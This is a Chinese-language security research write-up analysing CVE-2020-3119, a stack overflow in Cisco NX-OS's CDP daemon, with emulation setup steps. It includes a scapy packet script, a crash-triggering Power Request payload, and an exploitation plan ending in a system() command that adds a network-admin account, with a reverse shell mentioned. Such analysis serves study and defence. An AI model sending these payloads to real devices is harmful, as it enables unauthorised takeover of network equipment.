CVE-2020-3119 Cisco CDP协议栈溢出漏洞分析

Cisco Discovery Protocol(CDP)协议是用来发现局域网中的Cisco设备的链路层协议。 最近Cisco CDP协议爆了几个漏洞,挑了个栈溢出的CVE-2020-3119先来搞搞,Armis Labs也公开了他们的分析Paper。

环境搭建

虽然最近都在搞IoT相关的,但是还是第一次搞这种架构比较复杂的中型设备,大部分时间还是花在折腾环境上。

3119这个CVE影响的是Cisco NX-OS类型的设备,去Cisco的安全中心找了下这个CVE,搜搜受影响的设备。发现受该漏洞影响的设备都挺贵的,也不好买,所以暂时没办法真机测试研究了。随后搜了一下相关设备的固件,需要氪金购买。然后去万能的淘宝搜了下,有代购业务,有的买五六十(亏),有的卖十几块。

固件到手后,我往常第一想法是解开来,第二想法是跑起来。最开始我想着先把固件解开来,找找cdp的binary,但是在解固件的时候却遇到了坑。

如今这世道,解固件的工具也就binwalk,我也就只知道这一个,也问过朋友,好像也没有其他好用的了。(如果有,求推荐)。

但是binwalk的算法在遇到非常多的压缩包的情况下,非常耗时,反正我在挂那解压了两天,还没解完一半。在解压固件这块折腾了好久,最后还是无果而终。

最后只能先想办法把固件跑起来了,正好知道一个软件可以用来仿真Cisco设备————GNS3。

GNS3的使用说明

学会了使用GNS3以后,发现这软件真好用。

首先我们需要下载安全GNS3软件,然后还需要下载GNS3 VM。个人电脑上装个GNS3提供了可视化操作的功能,算是总控。GNS3 VM是作为GNS3的服务器,可以在本地用虚拟机跑起来,也可以放远程。GNS3仿真的设备都是在GNS3服务器上运行起来的。

1.首先设置好GNS3 VM

2.创建一个新模板

3.选择交换机 Cisco NX-OSv 9000

在这里我们发现是用qemu来仿真设备的,所以前面下载的时候需要下载qcow2。

随后就是把相应版本的固件导入到GNS3 Server。

导入完成后,就能在交换机一栏中看到刚才新添加的设备。

4.把Cisco设备拖到中央,使用网线直连设备

这里说明一下,Toolbox是我自己添加的一个ubuntu docker模板。最开始我是使用docker和交换机设备的任意一张网卡相连来进行操作测试的。

不过随后我发现,GNS3还提供的了一个功能,也就是图中的Cloud1,它可以代表你宿主机/GNS3 Server中的任意一张网卡。

因为我平常使用的工具都是在Mac中的ubuntu虚拟机里,所以我现在的使用的方法是,让ubuntu虚拟机的一张网卡和Cisco交换机进行直连。

PS:初步研究了下,GNS3能提供如此简单的网络直连,使用的是其自己开发的ubridge,Github上能搜到,目测是通过UDP来转发流量包。

在测试的过程中,我们还可以右击这根直连线,来使用wireshark抓包。

5.启动所有节点

最后就是点击上方工具栏的启动键,来启动你所有的设备,如果不想全部启动,也可以选择单独启动。

研究Cisco交换机

不过这个时候网络并没有连通,还需要通过串口连接到交换机进行网络配置。GNS3默认情况下会把设备的串口通过telnet转发出来,我们可以通过GNS3界面右上角看到telnet的ip/端口。

第一次连接到交换机需要进行一次初始化设置,设置好后,可以用你设置的管理员账号密码登陆到Cisco管理shell。

经过研究,发现该设备的结构是,qemu启动了一个bootloader,然后在bootloader的文件系统里面有一个nxos.9.2.3.bin文件,该文件就是该设备的主体固件。启动以后是一个Linux系统,在Linux系统中又启动了一个虚拟机guestshell,还有一个vsh.bin。在该设备中,用vsh替代了我们平常使用Linux时使用的bash。我们telnet连进来后,看到的就是vsh界面。在vsh命令中可以设置开启telnet/ssh,还可以进入Linux shell。但是进入的是guestshell虚拟机中的Linux系统。

本次研究的cdp程序是无法在虚拟机guestshell中看到的。经过后续研究,发现vsh中存在python命令,而这个python是存在于Cisco宿主机中的nxpython程序。所以可以同python来获取到Cisco宿主机的Linux shell。然后通过mac地址找到你在GNS3中设置连接的网卡,进行ip地址的设置。

bash
Cisco# python
Python 2.7.11 (default, Feb 26 2018, 03:34:16)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("/bin/bash")
bash-4.3$ id
uid=2002(admin) gid=503(network-admin) groups=503(network-admin),504(network-operator)
bash-4.3$ sudo -i
root@Cisco#ifconfig eth8
eth8      Link encap:Ethernet  HWaddr 0c:76:e2:d1:ac:07
          inet addr:192.168.102.21  Bcast:192.168.102.255  Mask:255.255.255.0
          UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
          RX packets:82211 errors:61 dropped:28116 overruns:0 frame:61
          TX packets:137754 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:6639702 (6.3 MiB)  TX bytes:246035115 (234.6 MiB)

root@Cisco#ps aux|grep cdp
root     10296  0.0  0.8 835212 70768 ?        Ss   Mar18   0:01 /isan/bin/cdpd
root     24861  0.0  0.0   5948  1708 ttyS0    S+   05:30   0:00 grep cdp

设置好ip后,然后可以在我们mac上的ubuntu虚拟机里面进行网络连通性的测试,正常情况下这个时候网络已经连通了。

之后可以把ubuntu虚拟机上的公钥放到cisoc设备的 /root/.ssh/authorized_keys ,然后就能通过ssh连接到了cisco的bash shell上面。该设备的Linux系统自带程序挺多的,比如后续调试的要使用的gdbserver。nxpython还装了scapy。

使用scapy发送CDP包

接下来我们来研究一下怎么发送cdp包,可以在Armis Labs发布的分析中看到cdp包格式,同样我们也能开启Cisco设备的cdp,查看Cisco设备发送的cdp包。

Cisco#conf ter
Cisco(config)# cdp enable
# 比如我前面设置直连的上第一个网口
Cisco(config)# interface ethernet 1/7
Cisco(config-if)# no shutdown
Cisco(config-if)# cdp enable
Cisco(config-if)# end
Cisco# show cdp interface ethernet 1/7
Ethernet1/7 is up
    CDP enabled on interface
    Refresh time is 60 seconds
    Hold time is 180 seconds

然后我们就能通过wireshark直接抓网卡的包,或者通过GNS3抓包,来研究CDP协议的格式。

因为我习惯使用python写PoC,所以我开始研究怎么使用python来发送CDP协议包,然后发现scapy内置了一些CDP包相关的内容。

下面给一个简单的示例:

from scapy.contrib import cdp
from scapy.all import Ether, LLC, SNAP
# link layer
l2_packet = Ether(dst="01:00:0c:cc:cc:cc")
# Logical-Link Control
l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()
# Cisco Discovery Protocol
cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)
deviceid = cdp.CDPMsgDeviceID(val=cmd)
portid = cdp.CDPMsgPortID(iface=b"ens38")
address = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr="192.168.1.3"))
cap = cdp.CDPMsgCapabilities(cap=1)
cdp_packet = cdp_v2/deviceid/portid/address/cap
packet = l2_packet / cdp_packet
sendp(packet)

触发漏洞

下一步,就是研究怎么触发漏洞。首先,把cdpd从设备中给取出来,然后把二进制丢到ida里找漏洞点。根据Armis Labs发布的漏洞分析,找到了该漏洞存在于 cdpd_poe_handle_pwr_tlvs 函数,相关的漏洞代码如下:

if ( (signed int)v28 > 0 )
      {
        v35 = (int *)(a3 + 4);
        v9 = 1;
        do
        {
          v37 = v9 - 1;
          v41[v9 - 1] = *v35;
          *(&v40 + v9) = _byteswap_ulong(*(&v40 + v9));
          if ( !sdwrap_hist_event_subtype_check(7536640, 104) )
          {
            *(_DWORD *)v38 = 104;
            snprintf(&s, 0x200u, "pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9));
            sdwrap_hist_event(7536640, strlen(&s) + 5, v38);
          }
          if ( sdwrap_chk_int_all(104, 0, 0, 0, 0) )
          {
            v24 = *(&v40 + v9);
            buginf_ftrace(1, &sdwrap_dbg_modname, 0, "pwr_levels_requested[%d] = %d\n");
          }
          snprintf(v38, 0x3FCu, "1111 pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9), v24);
          sdwrap_his_log_event_for_uuid_inst(124, 7536640, 1, 0, strlen(v38) + 1, v38);
          *(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);
          ++v35;
          ++v9;
        }
        while ( v9 != v28 + 1 );
      }

后续仍然是根据Armis Labs漏洞分析文章中的内容,只要在cdp包中增加Power Request和Power Level就能触发cdpd程序crash:

power_req = cdp.CDPMsgUnknown19(val="aaaa"+"bbbb"*21)
power_level = cdp.CDPMsgPower(power=16)
cdp_packet = cdp_v2/deviceid/portid/address/cap/power_req/power_level

漏洞利用

首先看看二进制程序的保护情况:

$ checksec cdpd_9.2.3
    Arch:     i386-32-little

    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RPATH:    '/isan/lib/convert:/isan/lib:/isanboot/lib'

发现只开启了NX和PIE保护,32位程序。

因为该程序没法进行交互,只能一次性发送完所有payload进行利用,所以没办法泄漏地址。因为是32位程序,cdpd程序每次crash后会自动重启,所以我们能爆破地址。

在编写利用脚本之前需要注意几点:

1.栈溢出在覆盖了返回地址后,后续还会继续覆盖传入函数参数的地址。

*(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);

并且因为在漏洞代码附近有这样的代码,需要向a1地址附近的地址写入值。如果只覆盖返回地址,没法只通过跳转到一个地址达到命令执行的目的。所以我们的payload需要把a1覆盖成一个可写的地址。

2.在 cdpd_poe_handle_pwr_tlvs 函数中,有很多分支都会进入到 cdpd_send_pwr_req_to_poed 函数,而在该函数中有一个 __memcpy_to_buf 函数,这个函数限制了 Power Requested 的长度在40字节以内。这么短的长度,并不够进行溢出利用。所以我们不能进入到会调用该函数的分支。

v10 = *(_WORD *)(a1 + 1208);
      v11 = *(_WORD *)(a1 + 1204);
      v12 = *(_DWORD *)(a1 + 1212);
      if ( v32 != v10 || v31 != v11 )

我们需要让该条件判断为False,不进入该分支。因此需要构造好覆盖的a1地址的值。

3.我们利用的最终目的不是执行 execve("/bin/bash") ,因为没法进行交互,所以就算执行了这命令也没啥用。那么我们能有什么利用方法呢?第一种,我们可以执行反连shell的代码。第二种,我们可以添加一个管理员账号,比如执行如下命令:

/isan/bin/vsh -c "configure terminal ; username test password qweASD123 role network-admin"

我们可以通过执行system(cmd)达到目的。那么接下来的问题是怎么传参呢?经过研究发现,在CDP协议中的DeviceID相关的字段内容都储存在堆上,并且该堆地址就储存在栈上,我们可以通过ret来调整栈地址。这样就能成功向system函数传递任意参数了。

演示视频地址: https://paper.seebug.org/1154/

参考链接

https://go.armis.com/hubfs/White-papers/Armis-CDPwn-WP.pdf

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-nxos-cdp-rce

https://software.cisco.com/download/home/286312239/type/282088129/release/9.2(3)?i=!pp

https://scapy.readthedocs.io/en/latest/api/scapy.contrib.cdp.html

原文地址: https://paper.seebug.org/1154/

英文版本: https://paper.seebug.org/1156/

*本文作者:Hcamael@知道创宇404实验室,转载请注明来自FreeBuf.COM